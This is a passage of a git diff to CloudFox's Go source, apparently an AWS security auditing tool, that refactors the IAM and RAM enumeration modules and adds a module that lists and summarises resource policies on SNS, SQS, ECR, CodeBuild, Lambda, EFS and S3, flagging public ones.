fmt.Printf("[%s][%s] No IAM principals found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
/* UNUSED CODE BLOCK - PLEASE REVIEW AND DELETE IF APPLICABLE
func (m *IamPrincipalsModule) executeChecks(wg *sync.WaitGroup) {
defer wg.Done()
m.CommandCounter.Total++
@@ -157,101 +173,66 @@ func (m *IamPrincipalsModule) executeChecks(wg *sync.WaitGroup) {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
}
*/
func (m *IamPrincipalsModule) getIAMUsers() {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
func (m *IamPrincipalsModule) addIAMUsersToTable() {
var AWSService = "IAM"
var IAMtype = "User"
var attachedPolicies []string
var inlinePolicies []string
for {
ListUsers, err := m.IAMClient.ListUsers(
context.TODO(),
&iam.ListUsersInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
for _, user := range ListUsers.Users {
arn := user.Arn
name := user.UserName
for _, user := range ListUsers {
arn := user.Arn
name := user.UserName
m.Users = append(
m.Users,
User{
AWSService: AWSService,
Arn: aws.ToString(arn),
Name: aws.ToString(name),
Type: IAMtype,
AttachedPolicies: attachedPolicies,
InlinePolicies: inlinePolicies,
})
}
// Pagination control. After the last page of output, the for loop exits.
if ListUsers.Marker != nil {
PaginationControl = ListUsers.Marker
} else {
PaginationControl = nil
break
}
m.Users = append(
m.Users,
User{
AWSService: AWSService,
Arn: aws.ToString(arn),
Name: aws.ToString(name),
Type: IAMtype,
AttachedPolicies: attachedPolicies,
InlinePolicies: inlinePolicies,
})
}
}
func (m *IamPrincipalsModule) getIAMRoles() {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
func (m *IamPrincipalsModule) addIAMRolesToTable() {
//var totalRoles int
var AWSService = "IAM"
var IAMtype = "Role"
var attachedPolicies []string
var inlinePolicies []string
for {
ListRoles, err := m.IAMClient.ListRoles(
context.TODO(),
&iam.ListRolesInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, role := range ListRoles.Roles {
arn := role.Arn
name := role.RoleName
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
m.Roles = append(
m.Roles,
Role{
AWSService: AWSService,
Arn: aws.ToString(arn),
Name: aws.ToString(name),
Type: IAMtype,
AttachedPolicies: attachedPolicies,
InlinePolicies: inlinePolicies,
})
}
for _, role := range ListRoles {
arn := role.Arn
name := role.RoleName
// Pagination control. After the last page of output, the for loop exits.
if ListRoles.Marker != nil {
PaginationControl = ListRoles.Marker
} else {
PaginationControl = nil
//fmt.Printf("IAM Roles: %d\n\n", totalRoles)
break
}
m.Roles = append(
m.Roles,
Role{
AWSService: AWSService,
Arn: aws.ToString(arn),
Name: aws.ToString(name),
Type: IAMtype,
AttachedPolicies: attachedPolicies,
InlinePolicies: inlinePolicies,
})
}
}
+135 -55
View File
@@ -7,11 +7,12 @@ import (
"strconv"
"sync"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ram"
ramTypes "github.com/aws/aws-sdk-go-v2/service/ram/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
@@ -24,12 +25,13 @@ type RAMModule struct {
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
Resources []Resource
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -38,6 +40,8 @@ type Resource struct {
Region string
Name string
Owner string
Type string
ShareType string
}
func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbosity int) {
@@ -45,27 +49,28 @@ func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbos
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "ram"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s] Enumerating shared resources for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Enumerating shared resources for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan Resource)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
@@ -76,10 +81,11 @@ func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbos
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
@@ -87,8 +93,10 @@ func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbos
m.output.Headers = []string{
"Service",
"Region",
"Name",
"Share Name",
"Type",
"Owner",
"Share Type",
}
// Table rows
@@ -99,30 +107,58 @@ func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbos
m.Resources[i].AWSService,
m.Resources[i].Region,
m.Resources[i].Name,
m.Resources[i].Type,
m.Resources[i].Owner,
m.Resources[i].ShareType,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
fmt.Printf("[%s] %s resources found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s resources found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No resources found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No resources found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *RAMModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan Resource) {
defer wg.Done()
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.getRAMResourcesPerRegion(r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ram", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.getRAMResourcesPerRegion(r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
}
}
func (m *RAMModule) Receiver(receiver chan Resource, receiverDone chan bool) {
@@ -141,44 +177,88 @@ func (m *RAMModule) Receiver(receiver chan Resource, receiverDone chan bool) {
func (m *RAMModule) getRAMResourcesPerRegion(r string, dataReceiver chan Resource) {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
var PaginationControl2 *string
var shareName string
var resourceType string
shareTypes := []ramTypes.ResourceOwner{"SELF", "OTHER-ACCOUNTS"}
for {
GetResourceShares, err := m.RAMClient.GetResourceShares(
context.TODO(),
&ram.GetResourceSharesInput{
NextToken: PaginationControl,
},
func(o *ram.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, resource := range GetResourceShares.ResourceShares {
name := aws.ToString(resource.Name)
ownerID := aws.ToString(resource.OwningAccountId)
dataReceiver <- Resource{
AWSService: "RAM",
Name: name,
Region: r,
Owner: ownerID,
for _, shareType := range shareTypes {
for {
GetResourceShares, err := m.RAMClient.GetResourceShares(
context.TODO(),
&ram.GetResourceSharesInput{
NextToken: PaginationControl,
ResourceOwner: shareType,
},
func(o *ram.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
// }
break
}
for _, resourceShare := range GetResourceShares.ResourceShares {
var resourceShareArns []string
shareName = aws.ToString(resourceShare.Name)
resourceShareArns = append(resourceShareArns, aws.ToString(resourceShare.ResourceShareArn))
ownerID := aws.ToString(resourceShare.OwningAccountId)
// The "NextToken" value is nil when there's no more data to return.
if GetResourceShares.NextToken != nil {
PaginationControl = GetResourceShares.NextToken
} else {
PaginationControl = nil
break
for {
ListResources, err := m.RAMClient.ListResources(
context.TODO(),
&ram.ListResourcesInput{
NextToken: PaginationControl2,
ResourceOwner: shareType,
ResourceShareArns: resourceShareArns,
},
func(o *ram.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, resource := range ListResources.Resources {
resourceType = aws.ToString(resource.Type)
var shareDirection string
if string(shareType) == "OTHER-ACCOUNTS" {
shareDirection = "Inbound share (Another account shared this with me)"
} else {
shareDirection = "Outbound share (I've shared this resource with others)"
}
dataReceiver <- Resource{
AWSService: "RAM",
Name: shareName,
Type: resourceType,
Region: r,
Owner: ownerID,
ShareType: shareDirection,
}
}
if ListResources.NextToken != nil {
PaginationControl2 = ListResources.NextToken
} else {
PaginationControl2 = nil
break
}
}
}
// The "NextToken" value is nil when there's no more data to return.
if GetResourceShares.NextToken != nil {
PaginationControl = GetResourceShares.NextToken
} else {
PaginationControl = nil
break
}
}
}
}
+739
View File
@@ -0,0 +1,739 @@
package aws
import (
"fmt"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type ResourceTrustsModule struct {
// General configuration data
Caller sts.GetCallerIdentityOutput
AWSRegions []string
Goroutines int
WrapTable bool
AWSProfile string
CloudFoxVersion string
Resources2 []Resource2
CommandCounter internal.CommandCounter
output internal.OutputData2
modLog *logrus.Entry
}
type Resource2 struct {
AccountID string
Name string
ARN string
Region string
Policy policy.Policy
PolicyJSON string
ResourcePolicySummary string
Public string
Interesting string
}
func (m *ResourceTrustsModule) PrintResources(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "resource-trusts"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating Resources with resource policies for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Supported Services: CodeBuild, ECR, EFS, Lambda, S3, SNS, SQS\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan Resource2)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Add(1)
go m.getS3Buckets(wg, semaphore, dataReceiver)
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
//"Account ID",
"ARN",
"Public",
"Interesting",
"Resource Policy Summary",
}
// sort the table roles by Interesting
sort.Slice(m.Resources2, func(i, j int) bool {
return m.Resources2[j].Interesting > m.Resources2[i].Interesting
})
// Table rows
for i := range m.Resources2 {
m.output.Body = append(
m.output.Body,
[]string{
//m.Resources2[i].AccountID,
m.Resources2[i].ARN,
m.Resources2[i].Public,
m.Resources2[i].Interesting,
m.Resources2[i].ResourcePolicySummary,
},
)
}
if len(m.output.Body) > 0 {
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s resource policies found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
//fmt.Printf("[%s][%s] Resource policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
} else {
fmt.Printf("[%s][%s] No resource policies found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("sns", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("sqs", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getSQSQueuesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("ecr", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getECRRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("codebuild", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getCodeBuildResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("lambda", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getLambdaPolicyPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("efs", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getEFSfilesystemPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *ResourceTrustsModule) Receiver(receiver chan Resource2, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Resources2 = append(m.Resources2, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxSNSClient := InitCloudFoxSNSClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines, m.WrapTable)
ListTopics, err := cloudFoxSNSClient.listTopics(r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, t := range ListTopics {
var statementSummaryInEnglish string
var isInteresting string = "No"
topic, err := cloudFoxSNSClient.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
continue
}
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
if err != nil {
topic.Name = aws.ToString(t.TopicArn)
}
topic.Name = parsedArn.Resource
topic.Region = parsedArn.Region
// check if topic is public or not
if topic.Policy.IsPublic() {
topic.IsPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
topic.IsPublic = "No"
}
// If there is a resouce policy, convert the resource policy into plain english
if !topic.Policy.IsEmpty() {
for i, statement := range topic.Policy.Statement {
var prefix string = ""
if len(topic.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = statementSummaryInEnglish + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(t.TopicArn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: topic.IsPublic,
Region: parsedArn.Region,
Name: topic.Name,
Interesting: isInteresting,
}
}
}
}
func (m *ResourceTrustsModule) getS3Buckets(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxS3Client := initCloudFoxS3Client(m.Caller, m.AWSProfile, m.CloudFoxVersion)
ListBuckets, err := sdk.CachedListBuckets(cloudFoxS3Client.S3Client, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, b := range ListBuckets {
var statementSummaryInEnglish string
var isInteresting string = "No"
bucket := &Bucket{
Arn: fmt.Sprintf("arn:aws:s3:::%s", aws.ToString(b.Name)),
}
name := aws.ToString(b.Name)
region, err := sdk.CachedGetBucketLocation(cloudFoxS3Client.S3Client, aws.ToString(m.Caller.Account), name)
if err != nil {
m.modLog.Error(err.Error())
continue
}
policyJSON, err := sdk.CachedGetBucketPolicy(cloudFoxS3Client.S3Client, aws.ToString(m.Caller.Account), region, aws.ToString(b.Name))
if err != nil {
m.modLog.Error(err.Error())
continue
} else {
bucket.PolicyJSON = policyJSON
}
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
m.modLog.Error(fmt.Sprintf("parsing bucket access policy (%s) as JSON: %s", name, err))
} else {
bucket.Policy = policy
}
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
if policy.IsPublic() {
bucket.IsPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
bucket.IsPublic = "No"
}
// If there is a resouce policy, convert the resource policy into plain english
if !bucket.Policy.IsEmpty() {
for i, statement := range bucket.Policy.Statement {
var prefix string = ""
if len(bucket.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = statementSummaryInEnglish + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: bucket.Arn,
ResourcePolicySummary: statementSummaryInEnglish,
Public: bucket.IsPublic,
Region: region,
Name: name,
Interesting: isInteresting,
}
}
}
}
func (m *ResourceTrustsModule) getSQSQueuesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxSQSClient := InitSQSClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
ListQueues, err := cloudFoxSQSClient.listQueues(r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, q := range ListQueues {
var statementSummaryInEnglish string
var isInteresting string = "No"
var isPublic string = "No"
queue, err := cloudFoxSQSClient.getQueueWithAttributes(q, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
continue
}
if !queue.Policy.IsEmpty() {
if queue.Policy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
}
for i, statement := range queue.Policy.Statement {
prefix := ""
if len(queue.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(&queue.Arn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: q,
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func (m *ResourceTrustsModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxECRClient := InitECRClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
DescribeRepositories, err := cloudFoxECRClient.describeRepositories(r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, repo := range DescribeRepositories {
var isPublic string
var statementSummaryInEnglish string
var isInteresting string = "No"
repoPolicy, err := cloudFoxECRClient.getECRRepositoryPolicy(r, aws.ToString(repo.RepositoryName))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
continue
}
if !repoPolicy.IsEmpty() {
if repoPolicy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
isPublic = "No"
}
for i, statement := range repoPolicy.Statement {
prefix := ""
if len(repoPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(repo.RepositoryArn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(repo.RepositoryName),
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func (m *ResourceTrustsModule) getCodeBuildResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxCodeBuildClient := InitCodeBuildClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
ListProjects, err := sdk.CachedCodeBuildListProjects(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, p := range ListProjects {
var projectPolicy policy.Policy
var statementSummaryInEnglish string
var isPublic string
var isInteresting string = "No"
project, err := sdk.CachedCodeBuildBatchGetProjects(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r, p)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
continue
}
policyJSON, err := sdk.CachedCodeBuildGetResourcePolicy(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r, p)
if err != nil {
sharedLogger.Error(err.Error())
continue
}
projectPolicy, err = policy.ParseJSONPolicy([]byte(policyJSON))
if !projectPolicy.IsEmpty() {
if projectPolicy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
isPublic = "No"
}
for i, statement := range projectPolicy.Statement {
prefix := ""
if len(projectPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(project.Arn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(project.Name),
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func (m *ResourceTrustsModule) getLambdaPolicyPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxLambdaClient := InitLambdaClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
ListFunctions, err := cloudFoxLambdaClient.listFunctions(r)
if err != nil {
sharedLogger.Error(err.Error())
return
}
for _, f := range ListFunctions {
var isPublic string
var statementSummaryInEnglish string
var isInteresting string = "No"
functionPolicy, err := cloudFoxLambdaClient.getResourcePolicy(r, aws.ToString(f.FunctionName))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
continue
}
if !functionPolicy.IsEmpty() {
if functionPolicy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
isPublic = "No"
}
for i, statement := range functionPolicy.Statement {
prefix := ""
if len(functionPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
